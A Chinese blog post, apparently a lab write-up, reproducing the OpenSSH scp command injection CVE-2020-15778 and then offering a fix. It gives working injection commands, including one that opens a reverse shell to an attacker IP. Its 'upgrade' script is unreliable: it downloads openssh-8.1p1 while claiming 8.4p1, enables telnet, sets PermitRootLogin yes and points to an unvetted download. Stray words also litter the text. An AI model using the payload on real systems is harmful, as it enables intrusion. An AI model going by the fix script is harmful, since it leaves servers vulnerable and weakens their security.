OpenSSH_8.3-命令注入漏洞攻击与修复(CVE-2020-15778)

2023-12-31 22:32

本文主要是介绍OpenSSH_8.3-命令注入漏洞攻击与修复(CVE-2020-15778),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

OpenSSH_8.3及如下-命令注入漏洞攻击与修复

漏洞:CVE-2020-15778
2020年6月9日发现漏洞,2020年7月18日公开漏洞。web

攻击原理
使用SCP中远程功能进行命令注入。shell

漏洞复现要求
OpenSSH版本 =<8.3p1安全

ssh链接密码bash

攻击环境
攻击方:kali:192.168.0.130 服务器

靶机: CentOS7:192.168.0.187 ssh

攻击测试
kali:tcp

上传任意文件到靶机上,文件容许为空,由于上传的文件不是主角。而是``里面的命令做为注入点进行攻击。编辑器

scp dic.txt root@192.168.0.187:'`touch /tmp/test.txt` /tmp'

命令解读:使用scp将本地文件dic.txt上传到服务器root@192.168.0.187的/tmp文件夹,使用``括起来的touch
/tmp/test.txt就是注入的命令,会生成一个新的文件test.txt。svg

靶机:
靶机查看/tmp目录下的文件:

[root@localhost tmp]# ls
dic.txt  test.txt

这样就实现了远程命令的执行。

GetShell
kali:
使用命令获取靶机的权限。
#使用一个窗口开启nc进行监听

nc -lvvp 7777

#开启另外一个窗口,上传反弹shell的命令

scp dic.txt root@192.168.0.187:'`bash -i >& /dev/tcp/192.168.0.130/7777 0>&1`/tmp/attack.txt'

运行监听:
在这里插入图片描述

上传注入命令:
在这里插入图片描述

查看监听结果:
在这里插入图片描述

能够执行命令,而且获取响应的信息。

攻击总结 漏洞复现简单,可是须要知道ssh密码。主要针对已知ssh密码,但没有访问权限/登陆权限的攻击。

防护方式

关闭网段访问
修改配置文件/etc/hosts.allow
使用以下的格式添加ssh访问权限:

sshd:192.168.0.158:allow #容许IP地址为192.168.0.158的主机使用ssh链接
sshd:192.168.0.*:allow #容许IP地址段为:192.168.0.0/24的主机使用ssh链接
sshd:all:deny #拒绝除容许地址以外的全部主机使用ssh链接
此方法主要用于拒绝靶机进行远程ssh登陆,提升ssh登陆安全性。

升级openssh到openssh8.4p1版本

经过shell脚本运行:


```java
#!/bin/bash## 查看现有的ssh的版本并升级到最新版本
cd /opt
ssh -V
openssl version
yum update openssh -y## 安装启动并配置telnet服务 | 防止ssh升级失败无法访问服务器
yum install -y telnet-server* telnet xinetd
systemctl enable xinetd.service
systemctl enable telnet.socket
systemctl start telnet.socket
systemctl start xinetd.service
echo 'pts/0' >>/etc/securetty
echo 'pts/1' >>/etc/securetty
echo 'pts/2' >>/etc/securetty## 升级ssh
yum install  -y gcc gcc-c++ glibc make autoconf openssl openssl-devel pcre-devel  pam-devel
yum install  -y pam* zlib*
wget -c https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-8.1p1.tar.gz
wget -c https://ftp.openssl.org/source/openssl-1.0.2r.tar.gz
tar xfz openssh-8.1p1.tar.gz
tar xfz openssl-1.0.2r.tar.gz
mv /usr/bin/openssl /usr/bin/openssl_bak
mv /usr/include/openssl /usr/include/openssl_bak
cd /opt/openssl-1.0.2r
./config shared && make && make install
echo $?
ln -s /usr/local/ssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/ssl/include/openssl /usr/include/openssl
echo "/usr/local/ssl/lib" >> /etc/ld.so.conf
/sbin/ldconfig
openssl version
cd /opt/openssh-8.1p1
chown -R root.root /opt/openssh-8.1p1
cp -r  /etc/ssh /tmp/
rm -rf /etc/ssh
./configure --prefix=/usr/ --sysconfdir=/etc/ssh  --with-openssl-includes=/usr/local/ssl/include --with-ssl-dir=/usr/local/ssl   --with-zlib   --with-md5-passwords   --with-pam  && make && make install
echo $?cat > /etc/ssh/sshd_config <<EOF
PermitRootLogin yes
AuthorizedKeysFile      .ssh/authorized_keys
UseDNS no
Subsystem       sftp    /usr/libexec/sftp-server
EOF
grep "^PermitRootLogin"  /etc/ssh/sshd_config
cat /tmp/ssh/sshd_config |grep -v '#' |grep -v '^$'
cp -a contrib/redhat/sshd.init /etc/init.d/sshd
cp -a contrib/redhat/sshd.pam /etc/pam.d/sshd.pam
chmod +x /etc/init.d/sshd
chkconfig --add sshd
systemctl enable sshd
mv  /usr/lib/systemd/system/sshd.service  /opt/
mv  /usr/lib/systemd/system/sshd.socket  /opt/
chkconfig sshd on
service sshd restart
openssl version
ssh -V

或者直接下载
下载连接:
连接: https://pan.baidu.com/s/14aegreBtRdH1BShyohEwXw
提取码: c47t ,复制这段内容后打开百度网盘手机App,操做更方便哦
使用命令:
tar -zxvf ssh_update.tar.gz
cd ssh_update/
bash ssh-update.sh
安装成功查看版本:

[root@localhost ssh_update]# ssh -V
OpenSSH_8.4p1, OpenSSL 1.1.1g 21 Apr 2020

这篇关于OpenSSH_8.3-命令注入漏洞攻击与修复(CVE-2020-15778)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/557307

相关文章

nginx -t、nginx -s stop 和 nginx -s reload 命令的详细解析(结合应用场景)

《nginx-t、nginx-sstop和nginx-sreload命令的详细解析(结合应用场景)》本文解析Nginx的-t、-sstop、-sreload命令,分别用于配置语法检... 以下是关于 nginx -t、nginx -s stop 和 nginx -s reload 命令的详细解析,结合实际应

C#连接SQL server数据库命令的基本步骤

《C#连接SQLserver数据库命令的基本步骤》文章讲解了连接SQLServer数据库的步骤,包括引入命名空间、构建连接字符串、使用SqlConnection和SqlCommand执行SQL操作,... 目录建议配合使用:如何下载和安装SQL server数据库-CSDN博客1. 引入必要的命名空间2.

Linux系统性能检测命令详解

《Linux系统性能检测命令详解》本文介绍了Linux系统常用的监控命令(如top、vmstat、iostat、htop等)及其参数功能,涵盖进程状态、内存使用、磁盘I/O、系统负载等多维度资源监控,... 目录toppsuptimevmstatIOStatiotopslabtophtopdstatnmon

PowerShell中15个提升运维效率关键命令实战指南

《PowerShell中15个提升运维效率关键命令实战指南》作为网络安全专业人员的必备技能,PowerShell在系统管理、日志分析、威胁检测和自动化响应方面展现出强大能力,下面我们就来看看15个提升... 目录一、PowerShell在网络安全中的战略价值二、网络安全关键场景命令实战1. 系统安全基线核查

postgresql数据库基本操作及命令详解

《postgresql数据库基本操作及命令详解》本文介绍了PostgreSQL数据库的基础操作,包括连接、创建、查看数据库,表的增删改查、索引管理、备份恢复及退出命令,适用于数据库管理和开发实践,感兴... 目录1. 连接 PostgreSQL 数据库2. 创建数据库3. 查看当前数据库4. 查看所有数据库

linux重启命令有哪些? 7个实用的Linux系统重启命令汇总

《linux重启命令有哪些?7个实用的Linux系统重启命令汇总》Linux系统提供了多种重启命令,常用的包括shutdown-r、reboot、init6等,不同命令适用于不同场景,本文将详细... 在管理和维护 linux 服务器时,完成系统更新、故障排查或日常维护后,重启系统往往是必不可少的步骤。本文

nginx启动命令和默认配置文件的使用

《nginx启动命令和默认配置文件的使用》:本文主要介绍nginx启动命令和默认配置文件的使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录常见命令nginx.conf配置文件location匹配规则图片服务器总结常见命令# 默认配置文件启动./nginx

qt5cored.dll报错怎么解决? 电脑qt5cored.dll文件丢失修复技巧

《qt5cored.dll报错怎么解决?电脑qt5cored.dll文件丢失修复技巧》在进行软件安装或运行程序时,有时会遇到由于找不到qt5core.dll,无法继续执行代码,这个问题可能是由于该文... 遇到qt5cored.dll文件错误时,可能会导致基于 Qt 开发的应用程序无法正常运行或启动。这种错

电脑提示xlstat4.dll丢失怎么修复? xlstat4.dll文件丢失处理办法

《电脑提示xlstat4.dll丢失怎么修复?xlstat4.dll文件丢失处理办法》长时间使用电脑,大家多少都会遇到类似dll文件丢失的情况,不过,解决这一问题其实并不复杂,下面我们就来看看xls... 在Windows操作系统中,xlstat4.dll是一个重要的动态链接库文件,通常用于支持各种应用程序

基于Python实现一个Windows Tree命令工具

《基于Python实现一个WindowsTree命令工具》今天想要在Windows平台的CMD命令终端窗口中使用像Linux下的tree命令,打印一下目录结构层级树,然而还真有tree命令,但是发现... 目录引言实现代码使用说明可用选项示例用法功能特点添加到环境变量方法一:创建批处理文件并添加到PATH1